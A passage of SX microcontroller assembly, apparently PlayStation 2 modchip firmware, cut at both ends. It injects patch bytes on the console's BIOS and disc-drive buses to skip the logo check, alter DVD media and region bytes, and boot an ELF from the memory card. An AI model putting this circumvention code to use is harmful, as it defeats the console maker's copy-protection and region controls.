PS1_CONSOLE_ALL_JMPNTSC_SYNC_L4 mov w,#$85 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L5 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L5 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L6 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L6 mov w,#$14 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC ;logo_skip PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L8 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L8 decsz VAR_DC1 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 mov w,#$3 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_PATCH1 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_PATCH1 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$3c mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$ff mov !IO_BIOS_DATA,w ;logo_skip2 PS1_CONSOLE_ALL_JMPNTSC_SYNC2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2 PS1_CONSOLE_ALL_JMPNTSC_SYNC2_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2_L1 decsz VAR_DC3 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2 mov w,#$0 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_PATCH2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_PATCH2 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$ff mov !IO_BIOS_DATA,w ;logo_skip3 PS1_CONSOLE_ALL_JMPNTSC_SYNC3 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3 PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L1 decsz VAR_DC4 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3 mov w,#$88 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L2 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$2 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$a4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$ff mov !IO_BIOS_DATA,w setb EJ_FLAG page $0000 jmp PS1_MODE_START_PATCH org $0600 ; PAGE8 600-7FF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P8 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_WAIT_OE_LO_P8 ret ;-------------------------------------------------------------------------------- BIOS_PATCH_DEV1 ; straight patch flow 0 - 115 ;-------------------------------------------------------------------------------- ;LOAD_DEVMODE jmp pc+w retw $8 ;0 retw $10 retw $3c retw $72 retw $0 retw $11 retw $36 retw $7c retw $a9 retw $92 retw $34 retw $0 retw $0 retw $51 retw $ae retw $c retw $0 retw $0 retw $0 retw $3 retw $0 retw $5 retw $24 retw $10 retw $0 retw $6 retw $3c retw $ec retw $1 retw $c4 retw $34 ;30 retw $e0 retw $1 retw $c6 retw $34 retw $6 retw $0 retw $3 retw $24 retw $c retw $0 retw $0 retw $0 retw $f7 retw $1 retw $10 retw $0 retw $7 retw $2 retw $10 retw $0 retw $15 retw $2 retw $10 retw $0 retw $6d retw $6f retw $64 retw $75 retw $6c ;60 retw $65 retw $6c retw $6f retw $61 retw $64 retw $0 retw $2d retw $6d retw $20 retw $72 retw $6f retw $6d retw $30 retw $3a retw $53 retw $49 retw $4f retw $32 retw $4d retw $41 retw $4e retw $0 retw $2d retw $6d retw $20 retw $72 retw $6f retw $6d retw $30 retw $3a ;90 retw $4d retw $43 retw $4d retw $41 retw $4e retw $0 retw $6d retw $63 retw $30 retw $3a retw $2f retw $42 retw $4f retw $4f retw $54 retw $2f retw $42 retw $4f retw $4f retw $54 retw $2e retw $45 retw $4c retw $46 retw $0 ;115 DEV1_MODE_LOAD_START clrb PSX_FLAG ; PSX_FLAG clrb here related finish mode run ? setb SOFT_RST setb EJ_FLAG ; skip logo patch after media for DEVMODE setb DEV1_FLAG ;set DEVMODE flags mov w,#115;$73 mov VAR_DC1,w ; VAR_DC1 = 73h = 115 clr w mov VAR_DC3,w ; VAR_DC3 = 0 IFDEF SX48RAM mov w,#$20 ELSE mov w,#$15 ENDIF mov fsr,w ; fsr = 15h with fsr starting for SRAM patch caching. start 15h due to 10-14 disabled bank 0 DEV1_MODE_LOAD_LOOP mov w,VAR_DC3 call BIOS_PATCH_DEV1 mov indf,w ; mov value in w from patch data retw to indf which places it in the SRAM memory cache as addressed cycling. inc fsr ; +1 fsr to step up SRAM patch caching IFDEF SX48RAM ELSE mov w,#$10 ; so that ends in top address of registery which is SRAM access. bottom 0-f reserved so when gets 1f goes 30h than 20h or fsr,w ; section 6.2.1 fig. 6-1 start at 15h then increase one 0001 0110 or 0001 0000 = 0001 1101 = 16h repeat ENDIF inc VAR_DC3 ; + 1 VAR_DC3 starting 0 above decsz VAR_DC1 ; jmp DEV1_MODE_LOAD_LOOP till VAR_DC1 = 0 start 119 jmp DEV1_MODE_LOAD_LOOP page $0200 ; PAGE2 jmp CHECK_IF_V1_v2or3_V4_V5to8 ;-------------------------------------------------------------------------------- MECHACON_WAIT_OE ;-------------------------------------------------------------------------------- ;CDDVDSKIP_P8 snb IO_CDDVD_OE_A_1Q ; jmp MECHACON_WAIT_OE if ^Q = 1 jmp MECHACON_WAIT_OE ; wait until flipflop ^Q == 0 clrb IO_CDDVD_OE_A_1R ; reset flipflop so Q = 0 (and ^Q = 1) nop ; ... setb IO_CDDVD_OE_A_1R ; reset flipflop so ready for if lower sensed on cp (A) CONSOLE_IO_CDDVD_OE_A decsz VAR_DC1 ; decrement counter and repeat MECHACON_WAIT_OE if not yet zero jmp MECHACON_WAIT_OE ; ... ret ; counter finished: return ;-------------------------------------------------------------------------------- CDDVD_PATCH_DATA ;-------------------------------------------------------------------------------- ;PACKIT_BYTE jmp pc+w ; when called VAR_DC2 is in w so determins start point ; 1 is sent first rb.4-rb.7 then follows to nibble and send 2 to rb.4-rb.7 then flow for 8 bytes ; 1 2 ; G not patched on ps2 v1-v8 due to not connected. but is same overall patch for v1-v12 ea region. ; IHGB IHGB ; Remember b/f swapped final from v9kit sch, H=RW pal support f=tr or but how F=F rstbmp? USA H same as pal? retw $3b ; 0011 1011 ; 0 ; USA start retw $a0 ; 1010 0000 ; 1 retw $33 ; 0011 0011 ; 2 retw $28 ; 0010 1000 ; 3 retw $20 ; 0010 0000 ; 4 retw $ff ; 1111 1111 ; 5 retw $4 ; 0000 0100 ; 6 retw $41 ; 0100 0001 ; 7 ; USA end retw $44 ; 0100 0100 ; 8 ; PAL start retw $fd ; 1111 1101 ; 9 retw $13 ; 0001 0011 ; 10 retw $2b ; 0010 1011 ; 11 retw $61 ; 0110 0001 ; 12 retw $22 ; 0010 0010 ; 13 retw $13 ; 0001 0011 ; 14 retw $31 ; 0011 0001 ; 15 ; PAL end retw $8c ; 1000 1100 ; 16 ; JAP start retw $b0 ; 1011 0000 ; 17 retw $3 ; 0000 0011 ; 18 retw $3a ; 0011 1010 ; 19 retw $31 ; 0011 0001 ; 20 retw $33 ; 0011 0011 ; 21 retw $19 ; 0001 1001 ; 22 retw $91 ; 1001 0001 ; 23 ; JAP end ;MEDIA_PATCH START_CDDVD_PATCH clr fsr setb IO_CDDVD_OE_A_1R ;execute first patch for V12 only ... snb V0_FLAG ;; ; jmp V1toV8_CONSOLE_CDDVD_START snb V14_FLAG jmp V9toV14_CONSOLE_CDDVD_START snb JAP_V8 jmp V9toV14_CONSOLE_CDDVD_START ;patch DVD media for V8 jap last mechacon spc rev mov w,#$30 mov w,VAR_BIOS_REV-w snb z jmp V9toV14_CONSOLE_CDDVD_START ;patch DVD media for V12 mov w,#$37 mov w,VAR_BIOS_REV-w snb c jmp V9toV14_CONSOLE_CDDVD_START ;patch DVD media for V9-10 ;V1-V8 version... fix for HDD operations ( bios activity ) ;HDD_FIX V1toV8_CONSOLE_CDDVD_START mov w,#4;$4 mov VAR_DC1,w ;:l0 V1toV8_AND_BYTE_SYNC1 mov w,#$90 V1toV8_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q ;wait sync byte FF FF FF FF jmp V1toV8_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$90 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V1toV8_CONSOLE_CDDVD_START decsz VAR_DC1 jmp V1toV8_AND_BYTE_SYNC1 jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_patch V9toV14_CONSOLE_CDDVD_START mov w,#15;$f ;15 mov VAR_DC1,w ;skip 16 byte for V9-10-12 dvd patch ,15 is a fix !!! ;dvd_patch1 V9toV14_AND_BYTE_SYNC1 mov w,#$b0 V9toV14_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV14_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$a0 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 ;FA-FC mov w,#$b0 ;media_l1 V9toV14_AND_BYTE_SYNC1_L2 snb IO_CDDVD_OE_A_1Q jmp V9toV14_AND_BYTE_SYNC1_L2 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 ;FF mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_AND_BYTE_SYNC2 mov w,#$0 ;00 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 ;media_l2 V9toV12_AND_BYTE_SYNC2 mov w,#$b0 V9toV12_AND_BYTE_SYNC2_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 ;FF mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_CONSOLE_PATCH1_POST mov w,#$a0 ;FC mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 snb PSX_FLAG page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP call MECHACON_WAIT_OE ;sleep for DVD media loaded in PSX mode ;dvd_patch2 ;Patch bus first time ;only F,G bit need patch :) ;patch to 0X 0X 0X 0X ;dvdr game is 0F 25 0F 25 ;dvdrom game is 02 01 02 01 ;dvd-rw game is 0F 32 0F 32 ;dvd9 video is 02 01 02 01 mov w,#$0 ;patch bus first time ! mov IO_CDDVD_BUS,w mov w,#$1f ;0001 1111 ;mechacon bus: IHGBXXXF ; '0' = output ! V9toV12_AND_BYTE_SYNC2_L2 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L2 ;patch 4 bytes clrb IO_CDDVD_OE_A_1R ;this is byte #1 mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R ; mov w,#5;$5 mov VAR_DC1,w ;skip 5 bytes , FIX for 15 bytes skip (see above ...) call MECHACON_WAIT_OE mov w,#$ff ;1111 1111 mov !IO_CDDVD_BUS,w ;CDDVD_PATCH V9toV12_CONSOLE_PATCH1_POST snb PSX_FLAG page $0000 jmp PS1_MODE_START_PATCH ;CDDVD_PATCH_V1 ;wait for mecha FA-FF-FF-01-00-00-01 then patch to 81 ;dvd_l1 ALL_CDDVD_PATCH1_GET_SYNC_BIT sb IO_BIOS_CS jmp CDDVD_IS_PS1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;wait sync byte FA FF FF ... clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l2 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l3 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l4 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l5 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ;dvd_l6 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ;dvd_l7 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST IFDEF H2O75KJMPERS sb IO_CDDVD_BUS_h setb JAP_FLAG ENDIF snb PSX_FLAG page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;V1-V8: sleep for DVD media loaded in PSX mode ;dvd_c1 mov w,#$90 ;NEW 1 time 1 BYTE patch !!!!!!!!! mov IO_CDDVD_BUS,w mov w,#$6f ALL_CDDVD_PATCH1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1 clrb IO_CDDVD_OE_A_1R mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R CDDVD_REGION snb IO_CDDVD_OE_A_1Q jmp CDDVD_REGION clrb IO_CDDVD_OE_A_1R mov w,#$ff mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R ;prepare patch region , here for speed !!! No move!!! snb JAP_FLAG jmp CDDVD_JAP snb UK_FLAG jmp CDDVD_PAL ;:reg_usa ;; idea for trim, usa flag not needed set here, will for ps1drv scex?? clr w jmp ALL_CDDVD_PATCH_SET_VAR_DC3 ;:reg_uk CDDVD_PAL mov w,#8;$8 jmp ALL_CDDVD_PATCH_SET_VAR_DC3 ;:reg_jap CDDVD_JAP mov w,#16;$10 ALL_CDDVD_PATCH_SET_VAR_DC3 mov VAR_DC2,w ; save offset... mov w,#8;$8 ;region patch : # of bytes to patch mov VAR_DC3,w mov w,#$ff mov IO_CDDVD_BUS,w ;!!!!!!!!!!!!! critical ;WAIT_DISK ;wait_dvd_lx ALL_CDDVD_PATCH_SYNC2_BIT mov w,#3;$3 mov VAR_DC1,w ;skip 6 byte (FA,FF,FF,FA,FF,FF) ;wait_dvd_l0 ALL_CDDVD_PATCH_SYNC2_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ALL_CDDVD_PATCH_SYNC2_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ALL_CDDVD_PATCH_SYNC2_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT decsz VAR_DC1 jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 ;patch region ... IFDEF SX48 mov w,#$1f mov m,w ENDIF mov w,#$f ; 0000 1111 = 0 output mov !IO_CDDVD_BUS,w ;reg_l1 RUN_CDDVD_PATCH mov w,VAR_DC2 call CDDVD_PATCH_DATA RUN_CDDVD_PATCH_NIBBLE snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R mov VAR_PSX_BC_CDDVD_TEMP,w mov w,<>VAR_PSX_BC_CDDVD_TEMP setb IO_CDDVD_OE_A_1R RUN_CDDVD_PATCH_NIBBLE_SEND snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE_SEND mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R inc VAR_DC2 setb IO_CDDVD_OE_A_1R decsz VAR_DC3 jmp RUN_CDDVD_PATCH CDDVD_PATCH_POST_RB_INPUT snb IO_CDDVD_OE_A_1Q jmp CDDVD_PATCH_POST_RB_INPUT mov w,#$ff mov !IO_CDDVD_BUS,w snb SOFT_RST jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;exit_patch CDDVD_IS_PS1 clrb SOFT_RST snb EJ_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 page $0400 jmp PS1_DETECTED_REBOOT ;Modload repatch... FINISHED_RUN_START page $0000 call SET_INTRPT mov w,#4;$4 mov VAR_DC1,w FINISHED_RUN_START_P2 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2 mov w,#$c4 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 call BIOS_WAIT_OE_LO_P8 mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 call BIOS_WAIT_OE_LO_P8 mov w,#$18 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 FINISHED_RUN_START_P2_L1 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L1 mov w,#$d0 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 FINISHED_RUN_START_P2_L2 sb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L2 FINISHED_RUN_START_P2_L3 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L3 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 FINISHED_RUN_START_P2_L4 sb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L4 FINISHED_RUN_END snb IO_BIOS_OE jmp FINISHED_RUN_END mov w,#$42 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 mov w,#$34 mov IO_BIOS_DATA,w mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$ff mov !IO_BIOS_DATA,w decsz VAR_DC1 jmp FINISHED_RUN_START_P2 page $0000 call DELAY100m page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP IFDEF SX48 org $0800 ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P10 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P10 ret PS2_MODE_START_V0 ;;; clr fsr ;;jmp Load8skip ;;; skip pvd sb PSX_FLAG jmp BIOS_PATCH_DATA_V0 ;ps2 mode selected , skip mov w,#11;$b mov VAR_DC1,w ;psx mode : # of patch bytes mov w,#$59 ; 89 ;ps1drv data offset here ... page $0200 jmp ALL_CONTIUNE_BIOS_PATCH BIOS_PATCH_DATA_V0 ;CHECK_IF_V1_v2or3_V4_V5to8 ;ps2 mode data offset ;; 1st patch snb PSX_FLAG page $0000 jmp TRAY_IS_EJECTED ;;;??? loop condition? load36skip mov w,#35;37;$7 ; skip 39 right mov VAR_DC1,w ; nop PVD_V0 ;;todo snb IO_BIOS_OE jmp PVD_V0 nop mov w,#$10 ;ascii 1 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 1 ;v1 sb z ;skip next line if doesnt = 0 meaning is 1 ascii jmp PVD_V0 call BIOS_WAIT_OE_LO_P10 mov w,#$0 ;ascii 2 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 2 ;v2-3 sb z jmp PVD_V0 call BIOS_WAIT_OE_LO_P10 mov w,#$a2 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp PVD_V0 call BIOS_WAIT_OE_LO_P10 mov w,#$af ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp PVD_V0 call BIOS_WAIT_OE_LO_P10 ;; 10 00 a2 af 04 mov w,#$04 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp PVD_V0 ;;;;;;;;;;;;;;;;; PVD_V01 call BIOS_WAIT_OE_LO_P10 ;; 10 00 a2 af 04 mov w,#$0 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp PVD_V0 call BIOS_WAIT_OE_LO_P10 ;; 10 00 a2 af 04 mov w,#$40 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp PVD_V0 call BIOS_WAIT_OE_LO_P10 ;; 10 00 a2 af 04 mov w,#$10 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp PVD_V0 ;;;;;;;;;;;;;;;;;;;; PVD_V0_SYNC_L0 sb IO_BIOS_OE jmp PVD_V0_SYNC_L0 PVD_V0_L1 snb IO_BIOS_OE jmp PVD_V0_L1 decsz VAR_DC1 jmp PVD_V0_SYNC_L0 PVD_V0_SYNC_L1 sb IO_BIOS_OE jmp PVD_V0_SYNC_L1 PVD_V0_PATCH1 snb IO_BIOS_OE jmp PVD_V0_PATCH1 mov w,#$08;1 test value 1 mov IO_BIOS_DATA,w mov w,#$1f mov m,w ; call BIOS_WAIT_OE_LO_P10 ;;; ; mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 mov w,#$e0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 mov w,#$03 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 END_PVD_V0_PATCH1 sb IO_BIOS_OE jmp END_PVD_V0_PATCH1 mov w,#$ff mov !IO_BIOS_DATA,w Load8skip mov w,#11;11;10;$7 ; skip 8 right mov VAR_DC1,w ;;sram load side V0_BIOS_OSDSYS ; clr fsr snb IO_BIOS_OE jmp V0_BIOS_OSDSYS nop mov w,#$70 ;ascii 1 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 1 ;v1 sb z ;skip next line if doesnt = 0 meaning is 1 ascii jmp V0_BIOS_OSDSYS call BIOS_WAIT_OE_LO_P10 mov w,#$0A ;ascii 2 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 2 ;v2-3 sb z jmp V0_BIOS_OSDSYS call BIOS_WAIT_OE_LO_P10 ;; 70 0a 08 mov w,#$08 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V0_BIOS_OSDSYS ; call BIOS_WAIT_OE_LO_P10 ; mov w,#$0C ;ascii 1 ; mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 1 ;v1 ; sb z ;skip next line if doesnt = 0 meaning is 1 ascii ; jmp V0_BIOS_OSDSYS ; call BIOS_WAIT_OE_LO_P10 ; mov w,#$2D ;ascii 2 ; mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 2 ;v2-3 ; sb z ;skip next line if doesnt = 0 meaning is 2 ascii ; jmp V0_BIOS_OSDSYS ; call BIOS_WAIT_OE_LO_P10 ; mov w,#$28 ;ascii 5 ; mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 ; sb z ;skip next line if doesnt = 0 meaning is 5 ascii ; jmp V0_BIOS_OSDSYS ; call BIOS_WAIT_OE_LO_P10 ; mov w,#$0 ;ascii 2 ; mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 2 ;v2-3 ; sb z ;skip next line if doesnt = 0 meaning is 2 ascii ; jmp V0_BIOS_OSDSYS ; call BIOS_WAIT_OE_LO_P10 ; mov w,#$02 ;ascii 5 ; mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 ; sb z ;skip next line if doesnt = 0 meaning is 5 ascii ; jmp V0_BIOS_OSDSYS ; mov w,#15;$7 ; skip 8 ; mov VAR_DC1,w ; nop BIOS_V0_SYNC_L0 sb IO_BIOS_OE jmp BIOS_V0_SYNC_L0 BIOS_V0_L1 snb IO_BIOS_OE jmp BIOS_V0_L1 decsz VAR_DC1 jmp BIOS_V0_SYNC_L0 BIOS_V0_L2 sb IO_BIOS_OE jmp BIOS_V0_L2 BIOS_V0_PATCH1 snb IO_BIOS_OE jmp BIOS_V0_PATCH1 mov w,#$0;1 test value 1 mov IO_BIOS_DATA,w mov w,#$1f mov m,w ; call BIOS_WAIT_OE_LO_P10 ;;; ; mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 mov w,#$0 ;;; test values for sniff 01 01 f2 44 should all be 0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P10 END_BIOS_V0_PATCH1 sb IO_BIOS_OE jmp END_BIOS_V0_PATCH1 mov w,#$ff mov !IO_BIOS_DATA,w page $0A00 jmp V0_logo ;sleep snb DEV1_FLAG page $0600 jmp FINISHED_RUN_START ; snb V12LOGO_FLAG ; page $0400 ; jmp PS1_MODE_SUCESSFUL_END page $0000 jmp CHECK_IF_START_PS2LOGO org $0A00 ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P0A ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P0A ret V0_logo snb IO_BIOS_OE jmp V0_logo nop mov w,#$4e ;ascii 1 mov w,IO_BIOS_DATA-w 